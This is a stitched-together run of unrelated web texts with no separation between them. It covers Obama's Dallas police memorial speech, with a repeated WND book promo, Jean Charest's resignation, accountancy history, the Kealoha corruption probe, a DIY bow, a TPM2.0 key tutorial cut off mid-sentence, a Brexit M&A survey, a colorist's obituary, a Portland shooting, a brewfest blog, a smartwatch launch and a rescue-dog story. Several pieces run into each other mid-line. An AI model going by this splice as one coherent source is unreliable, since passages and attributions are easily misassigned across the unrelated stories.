Obama, who has pressed more for gun control than any other president in recent history, continued, “Then we tell police you’re the social worker, you’re the parent, you’re the teacher, you’re the drug counselor.”
The service at Morton H. Meyerson Symphony Center in Dallas was in honor of Dallas Police Sgt. Michael Smith, 55; Dallas Police Senior Cpl. Lorne Ahrens; Dallas Police Officer Michael Krol; Dallas Police Officer Patrick Zamarripa; and Dallas Area Rapid Transit Officer Brent Thompson.
They were killed last Thursday at a protest against the killing by police of a black man in Minnesota and one in Louisiana.
“Even though many dislike the phrase Black Lives Matter, surely we should be able to hear the pain of Alton Sterling’s family … Philando Castile, his life mattered to a whole lot of people,” Obama said, referring to the two black men.
Published by WND Books, Jack Cashill’s “‘If I Had a Son’: Race, Guns, and the Railroading of George Zimmerman” examines the facts and exposes the bias of the news media in the racially charged case.
The Dallas officers were protecting the protesters when Micah Johnson started shooting. During the firefight with police, Johnson said he wanted to kill white people.
Five officers died, and seven more were injured. Johnson was killed when police fashioned a bomb and had a robot deliver it to a point in the parking garage where Johnson was cornered to kill him.
Thousands of dignitaries, officers and others gathered for the memorial. It was not open to the public.
Obama said communities have been torn apart and hearts broken by violence, and many wonder if the division ever can be resolved.
“The African-American community feels unfairly targeted … and police feel unfairly maligned for doing their jobs.”
He continued: “We also know that centuries of racial discrimination, of slavery, and subjugation and Jim Crow, they didn’t simply vanish with the end of lawful segregation. They didn’t just stop when Dr. King made a speech, or when the voting rights and civil rights act were signed.
“We know, Americans know that bias remains. We know it. Whether you are black or white or Asian, or native American or Middle Eastern descent. We have all seen this bigotry at some point. We have heard it in our own homes. If we’re honest perhaps we’ve heard prejudice in our own heads, and felt it in our own hearts.”
Some Americans, he pointed out, have suffered far more from racism than others.
But he said American should reject such despair, and he praised the Dallas police officers because “when the bullets started flying … they did not flinch and they did not react recklessly.”
Former President George W. Bush, a Dallas resident, praised the officers while mourning “five deaths in the family.”
“Their courage is our protection and shield,” he said. “We are grief-stricken, heart broken and forever grateful.”
Several ministers offered prayers, and Sen. John Cornyn, R-Texas, said he once was told, “Being a Texan doesn’t describe where you’re from, it describes who your family is.”
Dallas Police Chief David Brown quoted recording artist Stevie Wonder:
The Fox affiliate in Dallas reported Obama called family members of Sterling and Castile while en route to the Dallas memorial service.
White House spokesman Josh Earnest said Obama offered condolences.
Published by WND Books, Jack Cashill’s “‘If I Had a Son’: Race, Guns, and the Railroading of George Zimmerman” examines the facts and exposes the bias of the news media in the racially charged case.
Just one day earlier, Breitbart reported, Obama had told a gathering of law enforcement officials, “I’m your best hope,” for reaching reconciliation with the black community.
According to a police official quoted by the Washington Post, the gathering was just ahead of Obama’s trip to Dallas for the memorial.
Said the report, “Obama’s experience as the nation’s first black president has apparently convinced him that he is the only one who can solve the problem.”
The report continued, “Obama’s involvement in police relations with the black community dates to his years in Chicago and the Illinois state senate, where he had few legislative achievements but was credited for a legislative effort to reform police interrogations.”QUEBEC CITY — Jean Charest can recall some grand accomplishments and dark days from his nine years as premier. But his decision to step down as Liberal Leader following his party’s election loss was apparently clinched by the smaller, most human things.
The prospect of becoming a grandfather for the first time, for instance.
“As a father and someone who will soon be a grandfather — as if life was sending me a signal — I want to tell my close ones they have been a big source of inspiration,” Charest, 54, told a rapt press corps, two dozen cabinet ministers and several loyal aides — many in tears — on Wednesday.
“Without my wife, Michèle, I would never have been premier. (My family) accompanied me in everything I did with lots of love and patience,” he said, his own eyes welling up in the ornate main entrance hall of the National Assembly.
His family helped him decide to quit the leader’s job late Tuesday night, not long after he lost his own riding of Sherbrooke by nearly 3,000 votes and the Liberals were reduced to 50 seats in the 125-seat legislature, where they will become the official opposition.
Around the same time Charest found out about a fatal shooting during the victory speech of Parti Québécois leader Pauline Marois, he was having a family meeting about his future.
“It was a unanimous decision,” Charest said. “I will quit my functions as leader of the Quebec Liberal Party in a few days, as soon as the next government is in place.”
After offering his condolences to the shooting victims’ families, he said the “completely unjustified and inexplicable” gesture, on a day so crucial to democracy, “reminded us of the fragility of our lives.”
He did not take any questions from reporters after his nearly 13-minute post-election and resignation speech.
On Tuesday, “Quebecers expressed themselves and elected a Parti Québécois government while at the same time giving strong support to the Quebec Liberal Party. They wrote a page of history by electing a woman to the post of premier for the first time.”
Charest said that after 28 years in public life, it was time for him and his family “to take a different step.” He did not say what that might be.
He thanked his constituents in Sherbrooke, his ministers, his aides and election helpers. He thanked Quebec public servants, describing them as some of the best in the world.
He listed a number of achievements and challenges of his time in office. “We are proud of what we achieved on the economy, with one of the best performances in the world during the economic and financial crisis. Quebecers have never been so employed as under our government.”
International trade deals and the launch of the Plan Nord, a 25-year resource development plan for Quebec’s vast north, were cited with pride. Charest said the plan makes Quebec a leader in sustainable development as it includes “the most important conservation project in history.” The PQ government should continue the Plan Nord to benefit future generations, he added.
Charest said he feels good that his government is leaving public finances in order while also contributing to the reduction of the public debt. He said the government’s achievements for Quebec families “have helped women make choices about working and this has reduced poverty.”
In health care, “we made important progress and in education we succeeded in bringing down the high school dropout rate.
“I am proud of what our government did to advance the cause of women, by giving Quebec its first (cabinet) with gender parity and ensuring the representation of women on the boards of crown corporations.”
“I want to say to all Quebecers, from the bottom of my heart, you are marvellous,” Charest said. “The biggest things and the biggest dreams are yours if you want them. We will continue to defy all tendencies and make the most beautiful things take shape together, because we Quebecers are a people of dreamers and a people of builders.
“I’m going home now and I thank you for this privilege, to have allowed me to be premier.”
mharrold@montrealgazette.comBy Jolyon Jenkins
Accountancy has a reputation for dullness but its history is the history of civilisation itself, from the evolution of government and taxation to trade and capitalism. It has also provided a paper trail through some of the darker periods of human history. At first sight it looks like the income statement for any factory. It starts with the daily wage bill, and deals with the costs of uniform and other running expenses, all properly amortised. But then comes an odd line: the projected income per worker is adjusted so that it covers not one year, but only nine months. For this is no ordinary factory, but Buchenwald concentration camp. The workers, leased out by the SS, are expected to be dead from exhaustion in less than a year. Further down in the accounts is a note: "revenue at death". This refers to the sum to be made from the body itself, from ashes, fat and hair. US soldiers found thousands of wedding rings at Buchenwald Unlike doctors, bankers and lawyers, accountants have generally avoided scrutiny of their role in the Holocaust. Accountants are seen as technocrats - grey if not completely invisible. Yet throughout history they are there, if only you look hard enough, and often playing a vital role. Moral standards Take the Highland Clearances of the mid-19th century, when peasant farmers were evicted from estates of the landed gentry, to make way for sheep farms and deer forests. Histories of the Clearances often refer to a rather anonymous figure, "Mr Brown of Edinburgh" as the agent who forced through many of the clearances. FIND OUT MORE A Brief History of Double-Entry Book-keeping is on BBC Radio 4 daily from Monday 8 March at 1545 GMT Or catch up via iPlayer But Mr Brown is famous to historians of accounting (admittedly a small circle): he is James Brown, the first president of the Institute of Accountants. Brown came onto the scene because many highland landlords had gone bankrupt. Their insolvent estates were placed in the hands of men like him. He had to maximise revenue to pay off creditors. Evicting uneconomic tenant families was one way to do it. What's remarkable is the zeal that Mr Brown brought to the task. The population of the Highlands has never recovered from the Clearances He was a man with a mission, and he was doing it all for the tenants' own good. He was motivated, he said, by "feelings of humanity, pity and benevolence". The tenants were "being reared in poverty and ignorance many [had] never been within the walls of a church". They would be much better off if they moved to towns, or emigrated. Another nineteenth century Edinburgh accountant, Thomas Goldie Dixon, made field visits to the Highlands to inspect the tenants and to assess their personal morality. One was evicted because Dixon saw him drunk in a pub. Another lost his home because he was "living with a woman not his wife". At the same time as Dixon was imposing his own moral standards, he was insisting that there was no place for sentiment. Exactly because accountancy looks like a dry, value-free activity, it can be used as a kind of moral laundry
Under the old system landlords had moral obligations to their tenants, but now there was "no room for the exercise of these feelings". Indeed exactly because accountancy looks like a dry, value-free activity, it can be used as a kind of moral laundry. When the Nazis stole the personal property of Europe's Jews, Himmler insisted that all the looted property be meticulously accounted for. By enforcing stringent accounting, he argued that "in carrying out this most difficult of tasks... we have suffered no harm to our inner being, our soul, our character." Theft was transformed into book-keeping. None of this is to argue that accounting is evil. In fact, there are those that argue that its origins are profoundly religious. Development of capitalism The first known accountants worked for the religious authorities in ancient Mesopotamia (now Iraq), making sure that people paid their taxes (of sheep and other agricultural produce) to the temples. In trying to keep track of who owed what, they had to issue receipts and IOUs, and accidentally invented writing. Thousands of years later, in late medieval Italy, double entry book-keeping emerged. Dull as it may sound, double entry is one of the key technologies of the last millennium, giving a huge push towards the development of capitalism. Writing was developed for receipts and IOUs by Mesopotamian accountants The man who first wrote down the method, Luca Pacioli, was a Franciscan Friar. Double entry book-keeping recognises that all transactions have two aspects - a credit and a debit - and in a properly constituted set of books, the two sets of figures always balance. For those of a particular turn of mind, the balance has a beauty, maybe even divinely inspired. Accounting is a form of story telling - giving an account - and stories require an audience, listeners; auditors. In late medieval Italy, the auditor was God. One historian of accounting, James Aho, argues it's no coincidence that double entry emerged at a time when confession became compulsory for ordinary Catholics. If you are a businessman concerned with the morality of making a profit, then keeping the fullest possible set of accounts is a bit like confessing your sins. Even if you are doing something morally suspect, at least you are making a clean breast of it. Today, we live in a culture that is obsessed with measuring and auditing, whether it's school league tables, workplace appraisal targets, or the feedback stars that we award each other on Amazon and eBay. Once we were held accountable to God, then the state, and then our employers; now, we are now engaged in permanent mutual audit. You could see it as the ultimate triumph of the book-keepers. Jolyon Jenkins presents A Brief History of Double-Entry Book-keeping daily on BBC Radio 4 from Monday 8 March at 1545 GMT
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StumbleUpon What are these? E-mail this to a friend Printable versionAssistant U.S. Attorney Michael Wheat made a deal last week with former Honolulu police chief Louis Kealoha and his prosecutor wife, Katherine. Walk out of your Kahala apartment at 6 a.m. to surrender peacefully to the FBI or wait for agents to come in and get you.
It was a pivotal moment in a nearly three-year long investigation by the U.S. Justice Department that began as a look into whether the Kealohas had framed a family member for the theft of their mailbox.
But the federal investigation, being led by the U.S. Attorney’s Office out of San Diego, is far from over.
As Acting U.S. Attorney Alana Robinson outlined the breadth of the alleged conspiracy during a press conference outside the federal courthouse in Honolulu last week, she bluntly stated: “This is just the beginning.”
Anthony Quintano/Civil Beat
“We have returned the indictments. The federal prosecutors from San Diego will continue to lead the prosecution of this case.”
A new federal grand jury has already been empaneled. Special prosecutor Wheat is scheduled to return to Hawaii in early November to continue his investigation into corruption and abuse of power within the Honolulu Police Department and other law enforcement agencies, potentially including the office of Honolulu Prosecuting Attorney Keith Kaneshiro.
Kenneth Lawson, an associate faculty specialist at the University of Hawaii’s William S. Richardson School of Law and co-director of the Hawaii Innocence Project, said the allegations laid out in the indictment appear to be the Justice Department’s opening salvo.
“It’s not like they indict someone and say, ‘It’s been a great investigation. Let’s wait until the trial.’ That’s not how it works,” Lawson said.
“The investigation is continuing even through the indictment. It wouldn’t be at all unusual in a case like this that alleges widespread conspiracy — especially with what we know so far — to see a superseding indictment that adds either more claims or more defendants.”
The allegations spelled out in a 42-page indictment released last week accused the Kealohas of orchestrating the mailbox-theft frame job. The charges also include accusations of bank fraud and forgery in an attempt to enrich themselves at the expense of Katherine Kealoha’s uncle and grandmother, as well as two children who were under Katherine’s guardianship.
At least five Honolulu police officers are alleged to have taken part in the scheme, and they all face criminal charges as a result. One has already pleaded guilty to federal conspiracy.
More witnesses could come forward now that the initial charges have been filed, Lawson said.
There’s also the possibility that federal prosecutors will try to convince some of the named defendants to cooperate in their investigation into other matters.
“The whole theory is that the small fish eat the big fish over in the federal pond,” Lawson said.
Wheat has declined to comment on the pending investigation.
Cory Lum/Civil Beat
But Paul Delacourt, the FBI’s special agent in charge for the district of Hawaii, was more expansive during last week’s press conference.
“This is far more than a case about a stolen mailbox,” he said. “This is an ongoing investigation that began following the mistrial of Gerard Puana and subsequent allegations that Honolulu police officers falsified evidence and testimony in that investigation. The investigation thereafter uncovered much more.”
Although grand jury proceedings are secret, past witnesses called before the panel and statements made by prosecutors provide at least some hint of what might be on the horizon.
Some of it appears related to Katherine Kealoha’s time as a city prosecutor and her relationship with Kaneshiro, who has been one of her staunchest defenders.
Victor Bakke, a long-time criminal defense attorney and former city prosecutor, was in the federal courtroom Friday when the Kealohas and another alleged co-conspirator, HPD officer Daniel Sellers, pleaded not guilty to the charges lodged against them.
Bakke said it was clear from the proceedings that Wheat’s team has more evidence of alleged wrongdoing particularly as it relates to Katherine Kealoha’s work and her boss, Kaneshiro.
“The mailbox was just the fuse that lit this,” Bakke said. “I think Kaneshiro created his own little mess by standing up for Kathy. That turned the spotlight onto him.”
Several issues that the feds have been investigating over the years were not mentioned in the indictment, including concerns over a $5.5 million property deal by the city and allegations that Katherine Kealoha lied to a state court judge to get a speeding ticket dismissed for a business associate.
“This is far more than a case about a stolen mailbox.” — Paul Delacourt, FBI special agent in charge for Hawaii
Kaneshiro attempted to cover for Kealoha’s dismissal of the speeding ticket, saying that he ordered it. But he gave a much different explanation for dropping the ticket than she did.
Kaneshiro said the dismissal was part of his office’s own investigation into whether HPD officers were issuing fake speeding tickets as part of a scheme to collect more overtime pay.
But Kaneshiro has never been able to provide documentation to support his claims. In fact, his own office has told the courts it has no evidence of any investigation into the HPD officer who issued the speeding ticket to Katherine Kealoha’s business associates.
Officials with HPD and the police commission have also refuted the prosecutor’s claims.
While the speeding ticket was not mentioned in the indictment against the Kealohas, Assistant U.S. Attorney Eric Beste raised the issue with U.S. Magistrate Judge Richard Puglisi on Friday when arguing that Katherine Kealoha should remain in federal custody.
Beste told Puglisi that federal prosecutors had evidence showing that Kealoha had attempted to get her business associate, who had been talking to the FBI, to change his story.
Beste said Kealoha had a history of “abusing the levers of power” as a deputy prosecuting attorney and had contacted others who had testified before the federal grand jury, some of whom she asked to communicate with her via encrypted messaging.
He also noted that Kealoha had at least 10 separate phone numbers that she allegedly used to “avoid detection and avoid monitoring.”
When the FBI executed a search warrant at her home, he said the agents recovered at least five phones that were believed to belong to her.
“There’s evidence that the defendant has attempted to conjure up evidence to support her conduct,” Beste said, referring to the ticket dismissal case. “We believe that evidence is strongly indicative of someone who is willing to obstruct justice and willing to fabricate evidence.”
“The whole theory is that the small fish eat the big fish over in the federal pond.” — Kenneth Lawson, UH law school
Another issue that came up before the grand jury relates to the City of Honolulu’s purchase of an apartment complex that Kaneshiro wanted for a sanctuary for victims of domestic violence, sexual abuse and human trafficking. The complex is called the Honolulu Prosecutor’s Safe House.
Cory Lum/Civil Beat
The city purchased the property from one of Kaneshiro’s top political donors, Donna Walden, for $5.5 million despite the fact that Walden and her investors had themselves recently obtained the property for $4.5 million.
Wheat called numerous witnesses before the grand jury in recent weeks to testify about the Honolulu Prosecutor’s Safe House and the circumstances surrounding the purchase.
Bakke, who represented one of the people who testified, said the feds are “100 percent” looking into the Safe House purchase, which he said seems unrelated to Katherine Kealoha.
But what makes Bakke most certain about the magnitude of ongoing investigation are all the search warrants.
The FBI executed search warrants in January at the Honolulu Prosecuting Attorney’s Office and other city facilities, something Bakke described as a “huge deal.”
Another search warrant was executed just last week at the Kealohas residences just before they were arrested, potentially resulting in the collection of more evidence.
“That’s the safest signal that this process is nowhere near over if they’re still in the process of actively serving search warrants,” Bakke said.
Read Civil Beat’s complete coverage of the police corruption investigation starting in 2014.Want to give archery a try on a shoestring budget? Instructables user degapong demonstrates how to make a functional bow for $20 or less at any big-box hardware store by purchasing a wood plane, a bottle of Gorilla Glue, a small bundle of rope, and two pieces of wood.
The two pieces of wood you'll need are a 42"x½" oak trim piece and a 24" x ½" poplar trim piece. Glue the smaller piece in the middle of the larger piece and clamp the two pieces together until the glue dries. Then use the hand planer to shape the wood into bow limbs. See the photos at the source link below for the correct shape to use. Finally, add your rope handle, cut some notches at the ends of the limbs to attach your bowstring, and use a piece of rope or paracord for your bowstring.
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Arrows can be purchased for $5-10 at any large store with a sporting goods department or you can make your own inexpensively with these instructions. You may not be able to hunt big game with these homemade bows and arrows, but you'll have a lot of fun shooting at targets and if you become interested in the hobby you can learn to make powerful bows inexpensively.
Make a bow for under 20 Bucks | InstructablesForeword
Welcome stranger and thanks for stopping by. This is my first blog post (ever) and presently I am not even sure whether I want to maintain a blog… so who knows? It could also be the last. 🙂
What I am going to show applies to any Trusted Platform Module (TPM) implementing TPM2.0 specs. However, I wrote this article after spending two days trying to use the Minnowboard MAX firmware TPM (fTPM) for something useful in real life… I hope I can save you some time and a lot of troubles [1].
The problem
As it turns out tpm2-tools (the only TPM2.0 userland tools available on Linux that I am aware of) uses an output format for cryptographic operations like signatures, public keys export, hashing, etc which is not compatible with OpenSSL.
This is very annoying as you can’t use directly a TPM for useful stuff if the other party is not able to load those TPM data structure (e.g. using a tpm2-tools).
After spending quite a bit of time on the TPM2.0 specs (a reading that I would recommend to anyone with a lot of time and masochistic personality) I came up with some procedures to convert RSA public keys and signatures.
In this article I am going to generate a RSA key that we can use to identify a particular device using a TPM that implements TPM2.0 specification. The easiest way to achieve that is using an AIK.
But, let’s start from the beginning…
Generating an Endorsement Key (EK)
Before generating a new AIK, we need to generate an EK. As I am using a newly initialised TPM, I have no password configured, so I can just issue the following command:
~# tpm2_getpubek -H 0x81010000 -g 0x01 -f ek.pub
That will generate a new RSA (hex code 0x01) key, store it in the NVRAM of the TPM with handle 0x8101000 and export the public portion in a file named ek.pub.
Unfortunately we can’t use this key directly for what we need to do, so let’s:
Generate an Attestation Identity Key (AIK)
Similarly to what we have done to generate the EK, we can generate a AIK:
~# tpm2_getpubak -E 0x81010000 -k 0x81010010 -f ak.pub -n ak.name
RSA is the default algorithm. The AIK is defined in the endorsement hierarchy so it needs to be generated using a EK (0x81010000 in this case). This new key is stored in the device NVRAM with handle 0x81010010. The public bit is exported in ak.pub.
ak.name contains the cryptographically secure name of the key. We are not going to need it for now.
ak.pub is a TPMT_PUBLIC structure which, among other things, contains the RSA modulus. As we generated a 2048 bits key (default), the modulus is exactly 256 bytes.
It is important to note that ak.pub doesn’t contain the RSA exponent (actually that field is present but it is set to 0). For RSA, TPM2.0 assumes that the exponent is always 2^16+1, or 65537 (for a good |
Fifty-six per cent of respondents said they are planning a deal within the next 12 months and more than half expect the greatest competition in M&As will come from private-equity firms. — File pic
LONDON, Oct 30 — If Brexit is bad for British business, global dealmakers aren’t paying attention. The UK is still their favorite place in Europe to invest, according to a survey by Ernst & Young LLP.
Business executives from around the world ranked Britain third behind the United States and China as the top investment destination, ahead of Germany and France, the New York-based consultancy said in its Global Capital Confidence Barometer report.
“Doing deals is in the DNA of UK companies,” said Steve Krouskos, EY’s global vice chair of transaction advisory services.
“The UK is home to the most important assets sought by dealmakers — technology, talent and intellectual property — so it always has been and always will be a major player.”
While the UK briefly fell to fifth place in the same survey a year ago in the initial panic that followed the referendum to split from the European Union, it snapped back in part because the pound’s Brexit-induced slide made targets cheaper.
The survey also suggests investors are taking tense Brexit negotiations and slowing economic growth in stride.
Apart from Brits, American and Australian buyers have been the most active on Britain’s M&A playing field, according to EY.
Over the summer, Vantiv Inc agreed to spend £8 billion (RM42.42 billion) buying e-commerce payments company Worldpay Group Plc and McCormick & Co took over Reckitt Benckiser Group Plc’s food assets for US$4.2 billion (RM17.81 billion).
M&A activity worldwide will only get busier in the coming year, according to the consultancy, which surveyed almost 3,000 executives across 43 countries.
Fifty-six per cent of respondents said they are planning a deal within the next 12 months and more than half expect the greatest competition in M&As will come from private-equity firms.
“The resurgence of private equity could be the biggest M&A story over the next 12 months, and see corporates challenged much more aggressively for assets than during the past five years," Krouskos said.
“Brexit creates some uncertainty, but fulfilling strategic growth needs rather than nationalism will drive deal sentiment.” — BloombergKristine Stone, writes for Bleeding Cool.
Cornelia (Cory) Adams, a legendary colorist of our industry, passed away Tuesday, November 15, 2016 from breast cancer, a battle she has been fighting for over 25 years. Cory Adams was the ex-wife and coloring partner of Neal Adams.
Cory was a groundbreaking colorist and one of the most influential women in comics. Neal and Cory developed the techniques needed to push flat comic book color towards realism and movie-like quality and changed the look of coloring in this industry many times. In the early 1970s they pushed DC and Marvel to do better color, in the early 1980s they brought in bluelines and airbrushing and through the 1990s with computer coloring. Cory gave the Bucky O’Hare Aniverse its distinctive colors as one leg of the four-legged chair that is Bucky O’Hare.
Her house and fantastic cooking was always open to any stray comic artist that needed a place to be with family. She was quiet and never wanted any recognition or fame so few knew how important and revolutionary she was…she will be missed by not just her family, but everyone who met her or worked with her. She worked with Neal Adams, Michael Golden, Russ Heath, Joe Kubert, Al Williamson and many others. She was also an athlete, competing in the Roller Derby, as an indoor track bicycle racer, a speed-skater and a marksman. She learned Photoshop when she was in her sixties and did it better than almost anyone. Cory is survived by her four children, Kris, Joel, Jason and Zeea, three grandchildren, Kelly, Kortney and Jade and by her one-year old great grandson Maximus Logan. She was an integral part of everything Neal and Continuity embarked on.
Any who knew Cory loved her, her happy laughter and her outgoing positive, forgiving and accepting attitude for anyone she ever met. If you know her, you know exactly what we mean. If you never met her, you missed knowing a wonderful human being.
She will never be forgotten.
Highlights of Cory Adams Coloring:
Superman Vs. Muhammad Ali
X-Men #56 – 63, 65
Batman #219 (Silent Night of the Batman),#232 (First Ra’s Al Ghul), Batman #234, #237, #243, #244 (Ra’s Al Ghul)
Detective Comics #400 (First Man-Bat)
Legendary Green Lantern/Green Arrow Series by Dennis O’Neil and Neal Adams
Mister Miracle #25 by Michael Golden and Russ Heath
Armor #1
Ms Mystic
Revengers staring Megalith #1
Her Personal Favorites:
House of Mystery #186 – “Nightmare”
Bucky O’Hare Graphic Novel
Ms Mystic
Neal Adams’ Monsters
About Rich Johnston Chief writer and founder of Bleeding Cool. Father of two. Comic book clairvoyant. Political cartoonist.
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None foundPORTLAND, Ore. - A man was shot in Southeast Portland Sunday evening, prompting police to close down the intersection of Southeast 52nd and Powell Boulevard for an investigation.
Officers were called out to the area around 5:45 p.m. on reports of a shooting.
They arrived to find a man suffering from a gunshot wound. He was taken to a local hospital in critical condition; no word on his current condition.
Witnesses recall hearing a single gunshot.
"Heard a little pop, thought nothing of it," said Kiel Wilson, owner of Powell Tattoos. He did not think the noise was a shooting until he saw the police response. Instead, he thought it was a car accident.
Paige Pickard lives across the street, she says the man shot may have been blocking traffic.
"There was a honk too, before the gunshot," Pickard said.
Initial reports say that the shooter was in a silver pickup. Witnesses said the driver sped off west down Powell Boulevard.
If you have any helpful information, call police at (503) 823-3333."NS Club" mobile App
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Chinese NewYear Holidays,
8 Feb - 15 Feb 2013
During this period,
we shall keep partial postage
services and resume to
normal after holidays.
Thanks.
Evgeniy Void Pillow Dino
RELEASED
ON 7 Feb 2013
Timur Gear Corner
Turning Octahedron
RELEASED
ON 27 JAN 2013
Evgeniy Cross-Road
Bandage Series
RELEASED
ON 21 JAN 2013
TO BE RELEASED
ON 15 DEC 2012
China National Day's Holidays,
1 Oct - 5 Oct
During this period,
we shall keep partial postage
services and resume to
normal after holidays.
Thanks.
TO BE RELEASED
ON 12 SEPT 2012
TO BE RELEASED
ON 11 JUL 2012
TO BE RELEASED
ON 4 APRIL 2012
----------------------------------------
Meffert & Calvin (Now Store)
Co-operated puzzleThis weekend on the shore of Lake Champlain, in Burlington Vermont there is an event being held that I hold near and dear to my heart. The Vermont Brewers Festival, this two-day, three session brewfest is the longest running outdoor festival in America and is entering its 21st year.
The Vermont Brewers Festival is an important one to me personally as it was my first brewfest; it was the first brewfest I brought my wife to, it was the first brewfest we brought our son to, he might have slept in the stroller the whole time but I remember it, the first brewfest I brought my parents to. It has been a pilgrimage I’ve made every year since I turned 21, the place I meet up with old friends and new ones.
This is the first year in 10 years I won’t be able to attend the Vermont Brewers Festival, it pains me to have to sacrifice an event I love attending and a trip home for the weekend but I can’t be on the road every weekend and family comes first.
Now it’s not all sad news for me I’m actually really happy to see that the festival sold out in record time this year. Not that it hasn’t happened in the past but this year was quick, like 36 hours quick. I’ve been to the festival when they sold out sessions but had a few hundred tickets available for walk up purchase, in those years I’ve seen people in the line get turned away. It use to be I could wait a couple of months and get my ticket whenever or have a friend in VT pick it up somewhere along the way but not this year. It’s nice to see this festival is getting the respect it deserves, I’ll remember to be ready to order the day they go on sale for next year.
This festival is often found on people’s “Top Ten” festivals to attend lists, they always have excellent food vendors, are well-organized, laid out in a large park with plenty of space to roam around, plenty of facilities and of course top-notch beer. Vermont is home to The Alchemist, Hill Farmstead and Lawson’s Finest Liquids and the lines at these three brewers prove their popularity and probably play a heavy hand in how quickly this year’s festival sold out.
Since I won’t be there this year I ask my readers who were lucky enough to get a ticket to do me a favor, swing by the Drop-In brewing company and see if they are pouring their “Heart of Lothian” if they are get a sample, I’m pretty sure they named that one after me (they didn’t) and Fiddlehead brewing company and sample their IPA. When you check them into Untappd put ” @Chaddah Sent Me” in the description and send it off to Twitter so I know you’re drinking the beer I won’t be able to have this weekend.
Cheers!
Chaddah
I was just recently on the Seacoast Beverage Lab podcast talking about the Vermont Brewers Festival. Check it out here.
Like this: Like Loading...“Silicon Valley meets Switzerland,” as Jean-Claude Biver has so eloquently put it, with TAG Heuer officially launching its long-awaited TAG Heuer Connected smart watch in New York City today. We are reporting live from the event to bring you all details, including pricing, design, functionality, battery life, availability, and more.
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It is no secret that for a number of years now, the smart watch has been Damocles’ sword, swinging above the heads of Swiss watchmaking leaders. And while the majority of key Swiss players in the industry had no choice but to technically ignore the ceaselessly improving smart watch (since most could not afford to put up a fight), TAG Heuer went on the offensive and teamed up with technological giants Intel and Google, a partnership they announced in March at Baselworld 2015, to create the luxurious, Swiss alternative to the Apple Watch and the rest of the competition.
The key questions we have to answer include how well this first generation version of the TAG Heuer smartwatch will work, how it will affect the brand’s recognition, and where it will lead us as far as the future (and the realities) of the Swiss smart watch is concerned.
A Collaboration Between TAG Heuer, Google, And Intel
As head of LVMH luxury group’s watch department and CEO of TAG Heuer, Jean-Claude Biver explained that at TAG, it would have proven to be impossible – and both financially and technically catastrophic – to try and design and/or make their own operating systems or processor chips. So what they have done instead is harness TAG Heuer’s powerful brand name and its vast expertise in crafting luxury timepieces in larger quantities, and turned to Google and Intel – two extremely powerful and capable companies that surely need no introduction – to help them out with those uncharted territories.
Still, it took almost 9 months for TAG Heuer to get from that Baselworld announcement (which got everyone excited until we learned there was no actual watch to show at the time) to finally releasing the finished product just today: the TAG Heuer Connected watch is here.
The TAG Heuer Connected Watch Mimics The Looks Of Mechanical TAG Heuer Carrera Watches
As Biver said, “It would be a shame if a connected watch looked like one [a connected device].” So the order was given and duly followed by TAG Heuer and its partners’ engineers to create a watch that looks as close to its mechanical counterparts as possible. Hence, the case of the TAG Heuer Connected watch is remarkably similar to that of the TAG Heuer Carrera Heuer 01 (reviewed here).
At 46mm wide, the case of the TAG Heuer Connected watch has a case (that is case band, case-back, and lugs) made from Grade 2 titanium, and a black, sandblasted, carbide-coated titanium bezel with anti-fingerprint coating. The use of titanium should keep the substantially sized timepiece relatively light on the wrist – it actually weighs just 81 grams on the rubber strap. The case will sport an IP67 water resistance rating that guarantees the watch to remain functional up to a depth of one meter for an uninterrupted time period of 30 minutes. The TAG Heuer Connected watch will come on one of 7 different rubber strap options, which are black, red, blue, white, orange, green, and yellow – additional ones can be purchased separately.
TAG Heuer has developed three digital watch faces that will come with the TAG Heuer Connected watch. Featuring the design codes of the Carrera collection, these are: a chronograph dial, a 3-hand dial, and a GMT dial, all coming with a date display and in three colors (black, deep blue, or pearl white). TAG even designed the (virtual) hands to cast a shadow on the (virtual) dial, and there even is a sunburst effect mimicking how the light plays on a physical dial.
More importantly: the dial of the TAG Heuer Connected watch remains always ON, even in “ambient energy saving mode,” so as to keep the hands and indexes legible – no need to flick your wrist or tap the screen to make the time show up on the display.
Functionality Of The TAG Heuer Connected Watch
So, how does the perfectly round, 1.5-inch-wide, sapphire crystal-covered, 360×360-pixel touch screen work exactly? The TAG Heuer Connected runs Google’s Android Wear operating system on an Intel Atom processor, which allows the watch to be synced to a phone running either Android 4.3 or iOS 8.2 (or any newer versions).
The dial and hands remain stubbornly displayed while the most pertinent information from partner applications is displayed inside the three counters on the chronograph dial at the 12-6-9 o’clock positions. What you have to do is touch the counter in question to open and interact with the respective application in full-screen mode – this is done in an effort to help the “watch element” prevail over other indications, unless you decidedly want to highlight some other app.
Along with standard apps such as timer, alarm, and chronograph, the apps customized for TAG Heuer and available on an exclusive basis will be Insiders (lifestyle), GolfShot Pro, RaceChrono Pro (motor racing), and Viewranger (navigation), offered with free subscriptions.Adopting a new pet and giving them a forever home is a noble act. It also comes with the promise that you accept any and everything about the new family member without knowing everything about their previous life. One family learned that about a dog they had rescued from a shelter through a peculiar habit he exhibited every night.
He was a perfect fit for his new family.
(Terrifive/YouTube/Screenshot)
The family was so happy to have their new dog, and the lovable Golden Retriever reciprocated that love in every way. He played, went for walks, and cuddled endlessly and was a perfect fit for his new family. However, there was one habit the dog had that was very unusual.
Each morning their dog was in the same spot and still staring.
(Terrifive/YouTube/Screenshot)
Every night at bedtime, the dog sat loyally perched just outside his new owners’ bedroom, staring at them. They had no idea why and figured it was just a fallout from him having to adjust to his new surroundings, and would eventually stop.
But each morning they awoke to find their dog in exactly the same spot and still staring. The dog would not sleep at all at night.
They took their new dog to the vet to see what was wrong.
(Terrifive/YouTube/Screenshot)
Concerned at this unusual behavior, the owners took their new dog to the vet, hoping to understand whatever was behind this behavior that they had never seen in any dog before. The vet had no answers, though, and told them that their dog was 100 percent healthy, even though they could not explain the unique behavior.
Their dog was healthy. So what had happened?
Still curious, they decided to make a trip to the shelter where they had rescued their dog from. They wanted to question the shelter and learn all they could about their dog’s history prior to him becoming a member of their family. That is, if there was anything to be told. There was and it broke their hearts.
The shelter explained how the dog had come to them. It seems that one night, his previous owner sedated the dog, making him completely unconscious, and that’s how he was delivered to the shelter. When he woke up his owner was gone.
Their dog was worried he’d be abandoned again if he slept.
(Terrifive/YouTube/Screenshot)
Upon learning of the dog’s history, the family was brought to tears. How cruel someone could be to have done such a thing. But they also had the answer they were looking for. When they returned home, they immediately placed the dog’s bed right next to their own. They so badly wanted to express to their dog that he was wanted and that they would never do anything like that to him, ever.
The dog soon learned to trust and, consequently, developed the new habit of sleeping soundly throughout the night. The “forever” in forever home means exactly that — forever.
H/T: gladwire.com and Terrifive.
